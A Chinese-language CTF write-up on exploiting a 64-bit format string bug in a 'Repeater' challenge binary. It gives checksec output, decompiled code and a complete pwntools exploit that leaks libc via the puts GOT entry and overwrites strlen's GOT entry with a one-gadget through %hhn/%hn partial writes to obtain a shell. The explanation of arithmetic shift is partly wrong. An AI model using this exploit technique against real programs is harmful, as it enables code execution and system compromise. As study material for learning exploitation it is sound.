这题收获还是很大的 学会了自己构造任意写的格式化字符串漏洞payload
checksec看一下保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110 ) [*] '/home/chen/pwn' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
ida查看一下反汇编代码
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s[272 ]; char format[312 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setbuf(stdout , 0LL ); setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); puts ( "Hello,I am a computer Repeater updated.\n" "After a lot of machine learning,I know that the essence of man is a reread machine!" ); puts ("So I'll answer whatever you say!" ); while ( 1 ) { alarm(3u ); memset (s, 0 , 0x101 uLL); memset (format, 0 , 0x12C uLL); printf ("Please tell me:" ); read(0 , s, 0x100 uLL); sprintf (format, "Repeater:%s\n" , s); if ( (unsigned int )strlen (format) > 0x10E ) break ; printf (format); } printf ("what you input is really long!" ); exit (0 ); }
很常规的64位格式化字符串 但是多了个函数alarm 限制了进程持续的时间
如果我们使用pwntools内置的函数fmtstr_payload来生成payload的话 会由于字节过多发送失败 所以这里尝试一下自己构造
from pwn import *from struct import packio = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("./locate" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" def debug (): gdb.attach(io) pause() io.recvuntil("Please tell me:" ) payload = b'%9$saaaa' +p64(elf.got['puts' ]) io.sendline(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (puts_addr)) libc_addr = puts_addr - libc.sym['puts' ] success(hex (libc_addr))
泄露libc基址很简单 只要注意一下64位的p64会附带\x00 导致printf读取到后直接截断了 无法正常泄露 得把p64放在后面
接下来的难点在于说如何任意地址写
这题要获取shell的办法无非就是覆盖函数的got表 修改为system 随后参数设置为/bin/sh 或者是onegadget
而格式化字符串任意写是依靠%x$n 这个格式符是将其前面输出的字节赋值到对应的偏移地址
如果我们想要任意写的只是小额的数值 我们可以这样构造payload
payload = b'a' *padding+b'%$xn' +p64(ptr_addr)
但是如果我们想要赋值onegadget到exit函数的got表 那么可想而知 需要庞大的字节数 不仅仅题目很少会给我们无限制的读入数据 如此庞大的数据还会导致程序运行缓慢 何况这题还调用了alarm函数
那么换个想法 如果我们只是修改单字节或者是双字节呢?
因为每个函数的真实地址差别只在于最后几个字节 前面的都是一样的 这样就可以大大减少需要的字节数
对于一个地址来说 其在内存一共占用了8个字节 而每个字节都存放着相应的数值 比如说下图
0x7f7458560971处的内容就是0x55
我们对比一下got表中存放的真实地址 发现只有后5位是不一样的 不过由于没有办法单独修改1位 所以我们需要修改后三个字节的数据
我们知道在n前面添加一个h就可以减半要操作的字节数 %$xhhn就可以做到修改单字节的数据
所以只能修改2的倍数的字节 要想修改三个字节的话 我们需要修改两次 一次修改单字节 一次修改双字节
接下来还有一个问题在于 函数的真实地址每次程序运行的时候都会变化 我们肉眼当然是可以读出地址的后三位
但是要如何利用脚本来实现读取呢?
这里介绍一下算术右移和与运算
算术右移:
对于一个二进制数 例如11110000来说 其符号位为1 如果是逻辑右移的话 不需要考虑符号位 而算术右移 如果符号位是1的话 就需要用1来补全 反之 用0来补全 比如算术右移3
那么这个二进制数就会变成 (1)(1)(1)11110 括号的表示是补全的
与运算:
二进制数a 10101010
二进制数b 11111111
二者进行与运算的话 对应的位依次进行比较
如果两个位都是1的话 那么与运算之后的结果就是1 除此之外的所有情况 与运算后的结果都是0
那么a和b与运算后的结果就是 10101010
与运算的作用在于 如果我们是和0xff来与运算 其二进制数是11111111
就会保留与之运算的数的最后一个字节的值
比如:
system_addr =0x7fb60fe40420
用system_addr去和0xffff与运算 最后得到的结果就是0x0420 为system_addr的最后两个字节
如果再用上算术右移 那么我们就可以获取到倒数第三个字节的值
system_addr =0x7fb60fe40420
最后得到的值就是system_addr的倒数第三个字节
至于输出足够的字节来使%n读取到从而任意写 则是采用%c这个格式化字符 其作用是输出x个字节 如果不够则用\x00补齐
比如 printf(“%10c”) 就会输出10个空字符
那么最后的payload就是这样构造
payload = b'%' +str (high_addr-9 ).encode()+b'c%12$hhn' +b'%' +str (low_addr-high_addr).encode()+b'c%13$hn' payload = payload.ljust(32 ,b'\x00' ) payload += p64(strlen_got+2 )+p64(strlen_got)
%n是在其之前输出了多少字节的字符就将对应值赋给对应的地址 而在这一题中 先行输出了 “Repeater:” 所以需要-9
而encode()则是在python3中需要发送byte型的数据 所以需要进行转化 随后的low_addr-high_addr也是同理
完整exp:
from pwn import *from struct import packio = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("./locate" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" def debug (): gdb.attach(io) pause() io.recvuntil("Please tell me:" ) payload = b'%9$saaaa' +p64(elf.got['puts' ]) io.sendline(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (puts_addr)) libc_addr = puts_addr - libc.sym['puts' ] success(hex (libc_addr)) io.recvuntil("Please tell me:" ) printf_got = elf.got['printf' ] strlen_got = elf.got['strlen' ] alarm_got = elf.got['alarm' ] strlen_got = elf.got['strlen' ] alarm_addr = libc_addr + libc.sym['alarm' ] system_addr = libc_addr + libc.sym['system' ] onegadget_addr = libc_addr + 0xf02a4 high_addr = (onegadget_addr>>16 )&0xff low_addr = onegadget_addr&0xffff payload = b'%' +str (high_addr-9 ).encode()+b'c%12$hhn' +b'%' +str (low_addr-high_addr).encode()+b'c%13$hn' payload = payload.ljust(32 ,b'\x00' ) payload += p64(strlen_got+2 )+p64(strlen_got) io.sendline(payload) io.recvuntil("Please tell me:" ) io.sendline(b'aaaa' ) io.interactive()